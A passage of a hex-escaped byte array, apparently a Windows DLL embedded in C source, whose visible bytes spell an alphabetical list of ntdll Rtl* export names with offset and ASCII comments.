 \"\\x54\\x72\\x61\\x69\\x6C\\x69\\x6E\\x67\\x50\\x61\\x74\\x68\\x53\\x65\\x70\\x65\"   //TrailingPathSepe\n/* 00CB80 */   \"\\x72\\x61\\x74\\x6F\\x72\\x73\\x00\\x52\\x74\\x6C\\x47\\x65\\x74\\x4C\\x6F\\x6E\"   //rators.RtlGetLon\n/* 00CBA0 */   \"\\x67\\x65\\x73\\x74\\x4E\\x74\\x50\\x61\\x74\\x68\\x4C\\x65\\x6E\\x67\\x74\\x68\"   //gestNtPathLength\n/* 00CBC0 */   \"\\x00\\x52\\x74\\x6C\\x47\\x65\\x74\\x4E\\x61\\x74\\x69\\x76\\x65\\x53\\x79\\x73\"   //.RtlGetNativeSys\n/* 00CBE0 */   \"\\x74\\x65\\x6D\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x00\\x52\"   //temInformation.R\n/* 00CC00 */   \"\\x74\\x6C\\x47\\x65\\x74\\x4E\\x65\\x78\\x74\\x52\\x61\\x6E\\x67\\x65\\x00\\x52\"   //tlGetNextRange.R\n/* 00CC20 */   \"\\x74\\x6C\\x47\\x65\\x74\\x4E\\x74\\x47\\x6C\\x6F\\x62\\x61\\x6C\\x46\\x6C\\x61\"   //tlGetNtGlobalFla\n/* 00CC40 */   \"\\x67\\x73\\x00\\x52\\x74\\x6C\\x47\\x65\\x74\\x4E\\x74\\x50\\x72\\x6F\\x64\\x75\"   //gs.RtlGetNtProdu\n/* 00CC60 */   \"\\x63\\x74\\x54\\x79\\x70\\x65\\x00\\x52\\x74\\x6C\\x47\\x65\\x74\\x4E\\x74\\x56\"   //ctType.RtlGetNtV\n/* 00CC80 */   \"\\x65\\x72\\x73\\x69\\x6F\\x6E\\x4E\\x75\\x6D\\x62\\x65\\x72\\x73\\x00\\x52\\x74\"   //ersionNumbers.Rt\n/* 00CCA0 */   \"\\x6C\\x47\\x65\\x74\\x4F\\x77\\x6E\\x65\\x72\\x53\\x65\\x63\\x75\\x72\\x69\\x74\"   //lGetOwnerSecurit\n/* 00CCC0 */   \"\\x79\\x44\\x65\\x73\\x63\\x72\\x69\\x70\\x74\\x6F\\x72\\x00\\x52\\x74\\x6C\\x47\"   //yDescriptor.RtlG\n/* 00CCE0 */   \"\\x65\\x74\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x48\\x65\\x61\\x70\\x73\\x00\\x52\"   //etProcessHeaps.R\n/* 00CD00 */   \"\\x74\\x6C\\x47\\x65\\x74\\x53\\x61\\x63\\x6C\\x53\\x65\\x63\\x75\\x72\\x69\\x74\"   //tlGetSaclSecurit\n/* 00CD20 */   \"\\x79\\x44\\x65\\x73\\x63\\x72\\x69\\x70\\x74\\x6F\\x72\\x00\\x52\\x74\\x6C\\x47\"   //yDescriptor.RtlG\n/* 00CD40 */   \"\\x65\\x74\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x44\\x65\\x73\\x63\\x72\\x69\"   //etSecurityDescri\n/* 00CD60 */   \"\\x70\\x74\\x6F\\x72\\x52\\x4D\\x43\\x6F\\x6E\\x74\\x72\\x6F\\x6C\\x00\\x52\\x74\"   //ptorRMControl.Rt\n/* 00CD80 */   \"\\x6C\\x47\\x65\\x74\\x53\\x65\\x74\\x42\\x6F\\x6F\\x74\\x53\\x74\\x61\\x74\\x75\"   //lGetSetBootStatu\n/* 00CDA0 */   \"\\x73\\x44\\x61\\x74\\x61\\x00\\x52\\x74\\x6C\\x47\\x65\\x74\\x55\\x6E\\x6C\\x6F\"   //sData.RtlGetUnlo\n/* 00CDC0 */   \"\\x61\\x64\\x45\\x76\\x65\\x6E\\x74\\x54\\x72\\x61\\x63\\x65\\x00\\x52\\x74\\x6C\"   //adEventTrace.Rtl\n/* 00CDE0 */   \"\\x47\\x65\\x74\\x55\\x73\\x65\\x72\\x49\\x6E\\x66\\x6F\\x48\\x65\\x61\\x70\\x00\"   //GetUserInfoHeap.\n/* 00CE00 */   \"\\x52\\x74\\x6C\\x47\\x65\\x74\\x56\\x65\\x72\\x73\\x69\\x6F\\x6E\\x00\\x52\\x74\"   //RtlGetVersion.Rt\n/* 00CE20 */   \"\\x6C\\x48\\x61\\x73\\x68\\x55\\x6E\\x69\\x63\\x6F\\x64\\x65\\x53\\x74\\x72\\x69\"   //lHashUnicodeStri\n/* 00CE40 */   \"\\x6E\\x67\\x00\\x52\\x74\\x6C\\x49\\x64\\x65\\x6E\\x74\\x69\\x66\\x69\\x65\\x72\"   //ng.RtlIdentifier\n/* 00CE60 */   \"\\x41\\x75\\x74\\x68\\x6F\\x72\\x69\\x74\\x79\\x53\\x69\\x64\\x00\\x52\\x74\\x6C\"   //AuthoritySid.Rtl\n/* 00CE80 */   \"\\x49\\x6D\\x61\\x67\\x65\\x44\\x69\\x72\\x65\\x63\\x74\\x6F\\x72\\x79\\x45\\x6E\"   //ImageDirectoryEn\n/* 00CEA0 */   \"\\x74\\x72\\x79\\x54\\x6F\\x44\\x61\\x74\\x61\\x00\\x52\\x74\\x6C\\x49\\x6D\\x61\"   //tryToData.RtlIma\n/* 00CEC0 */   \"\\x67\\x65\\x4E\\x74\\x48\\x65\\x61\\x64\\x65\\x72\\x00\\x52\\x74\\x6C\\x49\\x6D\"   //geNtHeader.RtlIm\n/* 00CEE0 */   \"\\x61\\x67\\x65\\x52\\x76\\x61\\x54\\x6F\\x53\\x65\\x63\\x74\\x69\\x6F\\x6E\\x00\"   //ageRvaToSection.\n/* 00CF00 */   \"\\x52\\x74\\x6C\\x49\\x6D\\x61\\x67\\x65\\x52\\x76\\x61\\x54\\x6F\\x56\\x61\\x00\"   //RtlImageRvaToVa.\n/* 00CF20 */   \"\\x52\\x74\\x6C\\x49\\x6D\\x70\\x65\\x72\\x73\\x6F\\x6E\\x61\\x74\\x65\\x53\\x65\"   //RtlImpersonateSe\n/* 00CF40 */   \"\\x6C\\x66\\x00\\x52\\x74\\x6C\\x49\\x6E\\x69\\x74\\x41\\x6E\\x73\\x69\\x53\\x74\"   //lf.RtlInitAnsiSt\n/* 00CF60 */   \"\\x72\\x69\\x6E\\x67\\x00\\x52\\x74\\x6C\\x49\\x6E\\x69\\x74\\x43\\x6F\\x64\\x65\"   //ring.RtlInitCode\n/* 00CF80 */   \"\\x50\\x61\\x67\\x65\\x54\\x61\\x62\\x6C\\x65\\x00\\x52\\x74\\x6C\\x49\\x6E\\x69\"   //PageTable.RtlIni\n/* 00CFA0 */   \"\\x74\\x4D\\x65\\x6D\\x6F\\x72\\x79\\x53\\x74\\x72\\x65\\x61\\x6D\\x00\\x52\\x74\"   //tMemoryStream.Rt\n/* 00CFC0 */   \"\\x6C\\x49\\x6E\\x69\\x74\\x4E\\x6C\\x73\\x54\\x61\\x62\\x6C\\x65\\x73\\x00\\x52\"   //lInitNlsTables.R\n/* 00CFE0 */   \"\\x74\\x6C\\x49\\x6E\\x69\\x74\\x4F\\x75\\x74\\x4F\\x66\\x50\\x72\\x6F\\x63\\x65\"   //tlInitOutOfProce\n/* 00D000 */   \"\\x73\\x73\\x4D\\x65\\x6D\\x6F\\x72\\x79\\x53\\x74\\x72\\x65\\x61\\x6D\\x00\\x52\"   //ssMemoryStream.R\n/* 00D020 */   \"\\x74\\x6C\\x49\\x6E\\x69\\x74\\x53\\x74\\x72\\x69\\x6E\\x67\\x00\\x52\\x74\\x6C\"   //tlInitString.Rtl\n/* 00D040 */   \"\\x49\\x6E\\x69\\x74\\x55\\x6E\\x69\\x63\\x6F\\x64\\x65\\x53\\x74\\x72\\x69\\x6E\"   //InitUnicodeStrin\n/* 00D060 */   \"\\x67\\x00\\x52\\x74\\x6C\\x49\\x6E\\x69\\x74\\x55\\x6E\\x69\\x63\\x6F\\x64\\x65\"   //g.RtlInitUnicode\n/* 00D080 */   \"\\x53\\x74\\x72\\x69\\x6E\\x67\\x45\\x78\\x00\\x52\\x74\\x6C\\x49\\x6E\\x69\\x74\"   //StringEx.RtlInit\n/* 00D0A0 */   \"\\x69\\x61\\x6C\\x69\\x7A\\x65\\x41\\x74\\x6F\\x6D\\x50\\x61\\x63\\x6B\\x61\\x67\"   //ializeAtomPackag\n/* 00D0C0 */   \"\\x65\\x00\\x52\\x74\\x6C\\x49\\x6E\\x69\\x74\\x69\\x61\\x6C\\x69\\x7A\\x65\\x42\"   //e.RtlInitializeB\n/* 00D0E0 */   \"\\x69\\x74\\x4D\\x61\\x70\\x00\\x52\\x74\\x6C\\x49\\x6E\\x69\\x74\\x69\\x61\\x6C\"   //itMap.RtlInitial\n/* 00D100 */   \"\\x69\\x7A\\x65\\x43\\x6F\\x6E\\x74\\x65\\x78\\x74\\x00\\x52\\x74\\x6C\\x49\\x6E\"   //izeContext.RtlIn\n/* 00D120 */   \"\\x69\\x74\\x69\\x61\\x6C\\x69\\x7A\\x65\\x43\\x72\\x69\\x74\\x69\\x63\\x61\\x6C\"   //itializeCritical\n/* 00D140 */   \"\\x53\\x65\\x63\\x74\\x69\\x6F\\x6E\\x00\\x52\\x74\\x6C\\x49\\x6E\\x69\\x74\\x69\"   //Section.RtlIniti\n/* 00D160 */   \"\\x61\\x6C\\x69\\x7A\\x65\\x43\\x72\\x69\\x74\\x69\\x63\\x61\\x6C\\x53\\x65\\x63\"   //alizeCriticalSec\n/* 00D180 */   \"\\x74\\x69\\x6F\\x6E\\x41\\x6E\\x64\\x53\\x70\\x69\\x6E\\x43\\x6F\\x75\\x6E\\x74\"   //tionAndSpinCount\n/* 00D1A0 */   \"\\x00\\x52\\x74\\x6C\\x49\\x6E\\x69\\x74\\x69\\x61\\x6C\\x69\\x7A\\x65\\x47\\x65\"   //.RtlInitializeGe\n/* 00D1C0 */   \"\\x6E\\x65\\x72\\x69\\x63\\x54\\x61\\x62\\x6C\\x65\\x00\\x52\\x74\\x6C\\x49\\x6E\"   //nericTable.RtlIn\n/* 00D1E0 */   \"\\x69\\x74\\x69\\x61\\x6C\\x69\\x7A\\x65\\x47\\x65\\x6E\\x65\\x72\\x69\\x63\\x54\"   //itializeGenericT\n/* 00D200 */   \"\\x61\\x62\\x6C\\x65\\x41\\x76\\x6C\\x00\\x52\\x74\\x6C\\x49\\x6E\\x69\\x74\\x69\"   //ableAvl.RtlIniti\n/* 00D220 */   \"\\x61\\x6C\\x69\\x7A\\x65\\x48\\x61\\x6E\\x64\\x6C\\x65\\x54\\x61\\x62\\x6C\\x65\"   //alizeHandleTable\n/* 00D240 */   \"\\x00\\x52\\x74\\x6C\\x49\\x6E\\x69\\x74\\x69\\x61\\x6C\\x69\\x7A\\x65\\x52\\x58\"   //.RtlInitializeRX\n/* 00D260 */   \"\\x61\\x63\\x74\\x00\\x52\\x74\\x6C\\x49\\x6E\\x69\\x74\\x69\\x61\\x6C\\x69\\x7A\"   //act.RtlInitializ\n/* 00D280 */   \"\\x65\\x52\\x61\\x6E\\x67\\x65\\x4C\\x69\\x73\\x74\\x00\\x52\\x74\\x6C\\x49\\x6E\"   //eRangeList.RtlIn\n/* 00D2A0 */   \"\\x69\\x74\\x69\\x61\\x6C\\x69\\x7A\\x65\\x52\\x65\\x73\\x6F\\x75\\x72\\x63\\x65\"   //itializeResource\n/* 00D2C0 */   \"\\x00\\x52\\x74\\x6C\\x49\\x6E\\x69\\x74\\x69\\x61\\x6C\\x69\\x7A\\x65\\x53\\x4C\"   //.RtlInitializeSL\n/* 00D2E0 */   \"\\x69\\x73\\x74\\x48\\x65\\x61\\x64\\x00\\x52\\x74\\x6C\\x49\\x6E\\x69\\x74\\x69\"   //istHead.RtlIniti\n/* 00D300 */   \"\\x61\\x6C\\x69\\x7A\\x65\\x53\\x69\\x64\\x00\\x52\\x74\\x6C\\x49\\x6E\\x69\\x74\"   //alizeSid.RtlInit\n/* 00D320 */   \"\\x69\\x61\\x6C\\x69\\x7A\\x65\\x53\\x74\\x61\\x63\\x6B\\x54\\x72\\x61\\x63\\x65\"   //ializeStackTrace\n/* 00D340 */   \"\\x44\\x61\\x74\\x61\\x42\\x61\\x73\\x65\\x00\\x52\\x74\\x6C\\x49\\x6E\\x73\\x65\"   //DataBase.RtlInse\n/* 00D360 */   \"\\x72\\x74\\x45\\x6C\\x65\\x6D\\x65\\x6E\\x74\\x47\\x65\\x6E\\x65\\x72\\x69\\x63\"   //rtElementGeneric\n/* 00D380 */   \"\\x54\\x61\\x62\\x6C\\x65\\x00\\x52\\x74\\x6C\\x49\\x6E\\x73\\x65\\x72\\x74\\x45\"   //Table.RtlInsertE\n/* 00D3A0 */   \"\\x6C\\x65\\x6D\\x65\\x6E\\x74\\x47\\x65\\x6E\\x65\\x72\\x69\\x63\\x54\\x61\\x62\"   //lementGenericTab\n/* 00D3C0 */   \"\\x6C\\x65\\x41\\x76\\x6C\\x00\\x52\\x74\\x6C\\x49\\x6E\\x74\\x36\\x34\\x54\\x6F\"   //leAvl.RtlInt64To\n/* 00D3E0 */   \"\\x55\\x6E\\x69\\x63\\x6F\\x64\\x65\\x53\\x74\\x72\\x69\\x6E\\x67\\x00\\x52\\x74\"   //UnicodeString.Rt\n/* 00D400 */   \"\\x6C\\x49\\x6E\\x74\\x65\\x67\\x65\\x72\\x54\\x6F\\x43\\x68\\x61\\x72\\x00\\x52\"   //lIntegerToChar.R\n/* 00D420 */   \"\\x74\\x6C\\x49\\x6E\\x74\\x65\\x67\\x65\\x72\\x54\\x6F\\x55\\x6E\\x69\\x63\\x6F\"   //tlIntegerToUnico\n/* 00D440 */   \"\\x64\\x65\\x53\\x74\\x72\\x69\\x6E\\x67\\x00\\x52\\x74\\x6C\\x49\\x6E\\x74\\x65\"   //deString.RtlInte\n/* 00D460 */   \"\\x72\\x6C\\x6F\\x63\\x6B\\x65\\x64\\x46\\x6C\\x75\\x73\\x68\\x53\\x4C\\x69\\x73\"   //rlockedFlushSLis\n/* 00D480 */   \"\\x74\\x00\\x52\\x74\\x6C\\x49\\x6E\\x74\\x65\\x72\\x6C\\x6F\\x63\\x6B\\x65\\x64\"   //t.RtlInterlocked\n/* 00D4A0 */   \"\\x50\\x6F\\x70\\x45\\x6E\\x74\\x72\\x79\\x53\\x4C\\x69\\x73\\x74\\x00\\x52\\x74\"   //PopEntrySList.Rt\n/* 00D4C0 */   \"\\x6C\\x49\\x6E\\x74\\x65\\x72\\x6C\\x6F\\x63\\x6B\\x65\\x64\\x50\\x75\\x73\\x68\"   //lInterlockedPush\n/* 00D4E0 */   \"\\x45\\x6E\\x74\\x72\\x79\\x53\\x4C\\x69\\x73\\x74\\x00\\x52\\x74\\x6C\\x49\\x6E\"   //EntrySList.RtlIn\n/* 00D500 */   \"\\x74\\x65\\x72\\x6C\\x6F\\x63\\x6B\\x65\\x64\\x50\\x75\\x73\\x68\\x4C\\x69\\x73\"   //terlockedPushLis\n/* 00D520 */   \"\\x74\\x53\\x4C\\x69\\x73\\x74\\x00\\x52\\x74\\x6C\\x49\\x6E\\x76\\x65\\x72\\x74\"   //tSList.RtlInvert\n/* 00D540 */   \"\\x52\\x61\\x6E\\x67\\x65\\x4C\\x69\\x73\\x74\\x00\\x52\\x74\\x6C\\x49\\x70\\x76\"   //RangeList.RtlIpv\n/* 00D560 */   \"\\x34\\x41\\x64\\x64\\x72\\x65\\x73\\x73\\x54\\x6F\\x53\\x74\\x72\\x69\\x6E\\x67\"   //4AddressToString\n/* 00D580 */   \"\\x41\\x00\\x52\\x74\\x6C\\x49\\x70\\x76\\x34\\x41\\x64\\x64\\x72\\x65\\x73\\x73\"   //A.RtlIpv4Address\n/* 00D5A0 */   \"\\x54\\x6F\\x53\\x74\\x72\\x69\\x6E\\x67\\x45\\x78\\x41\\x00\\x52\\x74\\x6C\\x49\"   //ToStringExA.RtlI\n/* 00D5C0 */   \"\\x70\\x76\\x34\\x41\\x64\\x64\\x72\\x65\\x73\\x73\\x54\\x6F\\x53\\x74\\x72\\x69\"   //pv4AddressToStri\n/* 00D5E0 */   \"\\x6E\\x67\\x45\\x78\\x57\\x00\\x52\\x74\\x6C\\x49\\x70\\x76\\x34\\x41\\x64\\x64\"   //ngExW.RtlIpv4Add\n/* 00D600 */   \"\\x72\\x65\\x73\\x73\\x54\\x6F\\x53\\x74\\x72\\x69\\x6E\\x67\\x57\\x00\\x52\\x74\"   //ressToStringW.Rt\n/* 00D620 */   \"\\x6C\\x49\\x70\\x76\\x34\\x53\\x74\\x72\\x69\\x6E\\x67\\x54\\x6F\\x41\\x64\\x64\"   //lIpv4StringToAdd\n/* 00D640 */   \"\\x72\\x65\\x73\\x73\\x41\\x00\\x52\\x74\\x6C\\x49\\x70\\x76\\x34\\x53\\x74\\x72\"   //ressA.RtlIpv4Str\n/* 00D660 */   \"\\x69\\x6E\\x67\\x54\\x6F\\x41\\x64\\x64\\x72\\x65\\x73\\x73\\x45\\x78\\x41\\x00\"   //ingToAddressExA.\n/* 00D680 */   \"\\x52\\x74\\x6C\\x49\\x70\\x76\\x34\\x53\\x74\\x72\\x69\\x6E\\x67\\x54\\x6F\\x41\"   //RtlIpv4StringToA\n/* 00D6A0 */   \"\\x64\\x64\\x72\\x65\\x73\\x73\\x45\\x78\\x57\\x00\\x52\\x74\\x6C\\x49\\x70\\x76\"   //ddressExW.RtlIpv\n/* 00D6C0 */   \"\\x34\\x53\\x74\\x72\\x69\\x6E\\x67\\x54\\x6F\\x41\\x64\\x64\\x72\\x65\\x73\\x73\"   //4StringToAddress\n/* 00D6E0 */   \"\\x57\\x00\\x52\\x74\\x6C\\x49\\x70\\x76\\x36\\x41\\x64\\x64\\x72\\x65\\x73\\x73\"   //W.RtlIpv6Address\n/* 00D700 */   \"\\x54\\x6F\\x53\\x74\\x72\\x69\\x6E\\x67\\x41\\x00\\x52\\x74\\x6C\\x49\\x70\\x76\"   //ToStringA.RtlIpv\n/* 00D720 */   \"\\x36\\x41\\x64\\x64\\x72\\x65\\x73\\x73\\x54\\x6F\\x53\\x74\\x72\\x69\\x6E\\x67\"   //6AddressToString\n/* 00D740 */   \"\\x45\\x78\\x41\\x00\\x52\\x74\\x6C\\x49\\x70\\x76\\x36\\x41\\x64\\x64\\x72\\x65\"   //ExA.RtlIpv6Addre\n/* 00D760 */   \"\\x73\\x73\\x54\\x6F\\x53\\x74\\x72\\x69\\x6E\\x67\\x45\\x78\\x57\\x00\\x52\\x74\"   //ssToStringExW.Rt\n/* 00D780 */   \"\\x6C\\x49\\x70\\x76\\x36\\x41\\x64\\x64\\x72\\x65\\x73\\x73\\x54\\x6F\\x53\\x74\"   //lIpv6AddressToSt\n/* 00D7A0 */   \"\\x72\\x69\\x6E\\x67\\x57\\x00\\x52\\x74\\x6C\\x49\\x70\\x76\\x36\\x53\\x74\\x72\"   //ringW.RtlIpv6Str\n/* 00D7C0 */   \"\\x69\\x6E\\x67\\x54\\x6F\\x41\\x64\\x64\\x72\\x65\\x73\\x73\\x41\\x00\\x52\\x74\"   //ingToAddressA.Rt\n/* 00D7E0 */   \"\\x6C\\x49\\x70\\x76\\x36\\x53\\x74\\x72\\x69\\x6E\\x67\\x54\\x6F\\x41\\x64\\x64\"   //lIpv6StringToAdd\n/* 00D800 */   \"\\x72\\x65\\x73\\x73\\x45\\x78\\x41\\x00\\x52\\x74\\x6C\\x49\\x70\\x76\\x36\\x53\"   //ressExA.RtlIpv6S\n/* 00D820 */   \"\\x74\\x72\\x69\\x6E\\x67\\x54\\x6F\\x41\\x64\\x64\\x72\\x65\\x73\\x73\\x45\\x78\"   //tringToAddressEx\n/* 00D840 */   \"\\x57\\x00\\x52\\x74\\x6C\\x49\\x70\\x76\\x36\\x53\\x74\\x72\\x69\\x6E\\x67\\x54\"   //W.RtlIpv6StringT\n/* 00D860 */   \"\\x6F\\x41\\x64\\x64\\x72\\x65\\x73\\x73\\x57\\x00\\x52\\x74\\x6C\\x49\\x73\\x41\"   //oAddressW.RtlIsA\n/* 00D880 */   \"\\x63\\x74\\x69\\x76\\x61\\x74\\x69\\x6F\\x6E\\x43\\x6F\\x6E\\x74\\x65\\x78\\x74\"   //ctivationContext\n/* 00D8A0 */   \"\\x41\\x63\\x74\\x69\\x76\\x65\\x00\\x52\\x74\\x6C\\x49\\x73\\x44\\x6F\\x73\\x44\"   //Active.RtlIsDosD\n/* 00D8C0 */   \"\\x65\\x76\\x69\\x63\\x65\\x4E\\x61\\x6D\\x65\\x5F\\x55\\x00\\x52\\x74\\x6C\\x49\"   //eviceName_U.RtlI\n/* 00D8E0 */   \"\\x73\\x47\\x65\\x6E\\x65\\x72\\x69\\x63\\x54\\x61\\x62\\x6C\\x65\\x45\\x6D\\x70\"   //sGenericTableEmp\n/* 00D900 */   \"\\x74\\x79\\x00\\x52\\x74\\x6C\\x49\\x73\\x47\\x65\\x6E\\x65\\x72\\x69\\x63\\x54\"   //ty.RtlIsGenericT\n/* 00D920 */   \"\\x61\\x62\\x6C\\x65\\x45\\x6D\\x70\\x74\\x79\\x41\\x76\\x6C\\x00\\x52\\x74\\x6C\"   //ableEmptyAvl.Rtl\n/* 00D940 */   \"\\x49\\x73\\x4E\\x61\\x6D\\x65\\x4C\\x65\\x67\\x61\\x6C\\x44\\x4F\\x53\\x38\\x44\"   //IsNameLegalDOS8D\n/* 00D960 */   \"\\x6F\\x74\\x33\\x00\\x52\\x74\\x6C\\x49\\x73\\x52\\x61\\x6E\\x67\\x65\\x41\\x76\"   //ot3.RtlIsRangeAv\n/* 00D980 */   \"\\x61\\x69\\x6C\\x61\\x62\\x6C\\x65\\x00\\x52\\x74\\x6C\\x49\\x73\\x54\\x65\\x78\"   //ailable.RtlIsTex\n/* 00D9A0 */   \"\\x74\\x55\\x6E\\x69\\x63\\x6F\\x64\\x65\\x00\\x52\\x74\\x6C\\x49\\x73\\x54\\x68\"   //tUnicode.RtlIsTh\n/* 00D9C0 */   \"\\x72\\x65\\x61\\x64\\x57\\x69\\x74\\x68\\x69\\x6E\\x4C\\x6F\\x61\\x64\\x65\\x72\"   //readWithinLoader\n/* 00D9E0 */   \"\\x43\\x61\\x6C\\x6C\\x6F\\x75\\x74\\x00\\x52\\x74\\x6C\\x49\\x73\\x56\\x61\\x6C\"   //Callout.RtlIsVal\n/* 00DA00 */   \"\\x69\\x64\\x48\\x61\\x6E\\x64\\x6C\\x65\\x00\\x52\\x74\\x6C\\x49\\x73\\x56\\x61\"   //idHandle.RtlIsVa\n/* 00DA20 */   \"\\x6C\\x69\\x64\\x49\\x6E\\x64\\x65\\x78\\x48\\x61\\x6E\\x64\\x6C\\x65\\x00\\x52\"   //lidIndexHandle.R\n/* 00DA40 */   \"\\x74\\x6C\\x4C\\x61\\x72\\x67\\x65\\x49\\x6E\\x74\\x65\\x67\\x65\\x72\\x41\\x64\"   //tlLargeIntegerAd\n/* 00DA60 */   \"\\x64\\x00\\x52\\x74\\x6C\\x4C\\x61\\x72\\x67\\x65\\x49\\x6E\\x74\\x65\\x67\\x65\"   //d.RtlLargeIntege\n/* 00DA80 */   \"\\x72\\x41\\x72\\x69\\x74\\x68\\x6D\\x65\\x74\\x69\\x63\\x53\\x68\\x69\\x66\\x74\"   //rArithmeticShift\n/* 00DAA0 */   \"\\x00\\x52\\x74\\x6C\\x4C\\x61\\x72\\x67\\x65\\x49\\x6E\\x74\\x65\\x67\\x65\\x72\"   //.RtlLargeInteger\n/* 00DAC0 */   \"\\x44\\x69\\x76\\x69\\x64\\x65\\x00\\x52\\x74\\x6C\\x4C\\x61\\x72\\x67\\x65\\x49\"   //Divide.RtlLargeI\n/* 00DAE0 */   \"\\x6E\\x74\\x65\\x67\\x65\\x72\\x4E\\x65\\x67\\x61\\x74\\x65\\x00\\x52\\x74\\x6C\"   //ntegerNegate.Rtl\n/* 00DB00 */   \"\\x4C\\x61\\x72\\x67\\x65\\x49\\x6E\\x74\\x65\\x67\\x65\\x72\\x53\\x68\\x69\\x66\"   //LargeIntegerShif\n/* 00DB20 */   \"\\x74\\x4C\\x65\\x66\\x74\\x00\\x52\\x74\\x6C\\x4C\\x61\\x72\\x67\\x65\\x49\\x6E\"   //tLeft.RtlLargeIn\n/* 00DB40 */   \"\\x74\\x65\\x67\\x65\\x72\\x53\\x68\\x69\\x66\\x74\\x52\\x69\\x67\\x68\\x74\\x00\"   //tegerShiftRight.\n/* 00DB60 */   \"\\x52\\x74\\x6C\\x4C\\x61\\x72\\x67\\x65\\x49\\x6E\\x74\\x65\\x67\\x65\\x72\\x53\"   //RtlLargeIntegerS\n/* 00DB80 */   \"\\x75\\x62\\x74\\x72\\x61\\x63\\x74\\x00\\x52\\x74\\x6C\\x4C\\x61\\x72\\x67\\x65\"   //ubtract.RtlLarge\n/* 00DBA0 */   \"\\x49\\x6E\\x74\\x65\\x67\\x65\\x72\\x54\\x6F\\x43\\x68\\x61\\x72\\x00\\x52\\x74\"   //IntegerToChar.Rt\n/* 00DBC0 */   \"\\x6C\\x4C\\x65\\x61\\x76\\x65\\x43\\x72\\x69\\x74\\x69\\x63\\x61\\x6C\\x53\\x65\"   //lLeaveCriticalSe\n/* 00DBE0 */   \"\\x63\\x74\\x69\\x6F\\x6E\\x00\\x52\\x74\\x6C\\x4C\\x65\\x6E\\x67\\x74\\x68\\x52\"   //ction.RtlLengthR\n/* 00DC00 */   \"\\x65\\x71\\x75\\x69\\x72\\x65\\x64\\x53\\x69\\x64\\x00\\x52\\x74\\x6C\\x4C\\x65\"   //equiredSid.RtlLe\n/* 00DC20 */   \"\\x6E\\x67\\x74\\x68\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x44\\x65\\x73\\x63\"   //ngthSecurityDesc\n/* 00DC40 */   \"\\x72\\x69\\x70\\x74\\x6F\\x72\\x00\\x52\\x74\\x6C\\x4C\\x65\\x6E\\x67\\x74\\x68\"   //riptor.RtlLength\n/* 00DC60 */   \"\\x53\\x69\\x64\\x00\\x52\\x74\\x6C\\x4C\\x6F\\x63\\x61\\x6C\\x54\\x69\\x6D\\x65\"   //Sid.RtlLocalTime\n/* 00DC80 */   \"\\x54\\x6F\\x53\\x79\\x73\\x74\\x65\\x6D\\x54\\x69\\x6D\\x65\\x00\\x52\\x74\\x6C\"   //ToSystemTime.Rtl\n/* 00DCA0 */   \"\\x4C\\x6F\\x63\\x6B\\x42\\x6F\\x6F\\x74\\x53\\x74\\x61\\x74\\x75\\x73\\x44\\x61\"   //LockBootStatusDa\n/* 00DCC0 */   \"\\x74\\x61\\x00\\x52\\x74\\x6C\\x4C\\x6F\\x63\\x6B\\x48\\x65\\x61\\x70\\x00\\x52\"   //ta.RtlLockHeap.R\n/* 00DCE0 */   \"\\x74\\x6C\\x4C\\x6F\\x63\\x6B\\x4D\\x65\\x6D\\x6F\\x72\\x79\\x53\\x74\\x72\\x65\"   //tlLockMemoryStre\n/* 00DD00 */   \"\\x61\\x6D\\x52\\x65\\x67\\x69\\x6F\\x6E\\x00\\x52\\x74\\x6C\\x4C\\x6F\\x67\\x53\"   //amRegion.RtlLogS\n/* 00DD20 */   \"\\x74\\x61\\x63\\x6B\\x42\\x61\\x63\\x6B\\x54\\x72\\x61\\x63\\x65\\x00\\x52\\x74\"   //tackBackTrace.Rt\n/* 00DD40 */   \"\\x6C\\x4C\\x6F\\x6F\\x6B\\x75\\x70\\x41\\x74\\x6F\\x6D\\x49\\x6E\\x41\\x74\\x6F\"   //lLookupAtomInAto\n/* 00DD60 */   \"\\x6D\\x54\\x61\\x62\\x6C\\x65\\x00\\x52\\x74\\x6C\\x4C\\x6F\\x6F\\x6B\\x75\\x70\"   //mTable.RtlLookup\n/* 00DD80 */   \"\\x45\\x6C\\x65\\x6D\\x65\\x6E\\x74\\x47\\x65\\x6E\\x65\\x72\\x69\\x63\\x54\\x61\"   //ElementGenericTa\n/* 00DDA0 */   \"\\x62\\x6C\\x65\\x00\\x52\\x74\\x6C\\x4C\\x6F\\x6F\\x6B\\x75\\x70\\x45\\x6C\\x65\"   //ble.RtlLookupEle\n/* 00DDC0 */   \"\\x6D\\x65\\x6E\\x74\\x47\\x65\\x6E\\x65\\x72\\x69\\x63\\x54\\x61\\x62\\x6C\\x65\"   //mentGenericTable\n/* 00DDE0 */   \"\\x41\\x76\\x6C\\x00\\x52\\x74\\x6C\\x4D\\x61\\x6B\\x65\\x53\\x65\\x6C\\x66\\x52\"   //Avl.RtlMakeSelfR\n/* 00DE00 */   \"\\x65\\x6C\\x61\\x74\\x69\\x76\\x65\\x53\\x44\\x00\\x52\\x74\\x6C\\x4D\\x61\\x70\"   //elativeSD.RtlMap\n/* 00DE20 */   \"\\x47\\x65\\x6E\\x65\\x72\\x69\\x63\\x4D\\x61\\x73\\x6B\\x00\\x52\\x74\\x6C\\x4D\"   //GenericMask.RtlM\n/* 00DE40 */   \"\\x61\\x70\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x45\\x72\\x72\\x6F\\x72\\x54\"   //apSecurityErrorT\n/* 00DE60 */   \"\\x6F\\x4E\\x74\\x53\\x74\\x61\\x74\\x75\\x73\\x00\\x52\\x74\\x6C\\x4D\\x65\\x72\"   //oNtStatus.RtlMer\n/* 00DE80 */   \"\\x67\\x65\\x52\\x61\\x6E\\x67\\x65\\x4C\\x69\\x73\\x74\\x73\\x00\\x52\\x74\\x6C\"   //geRangeLists.Rtl\n/* 00DEA0 */   \"\\x4D\\x6F\\x76\\x65\\x4D\\x65\\x6D\\x6F\\x72\\x79\\x00\\x52\\x74\\x6C\\x4D\\x75\"   //MoveMemory.RtlMu\n/* 00DEC0 */   \"\\x6C\\x74\\x69\\x41\\x70\\x70\\x65\\x6E\\x64\\x55\\x6E\\x69\\x63\\x6F\\x64\\x65\"   //ltiAppendUnicode\n/* 00DEE0 */   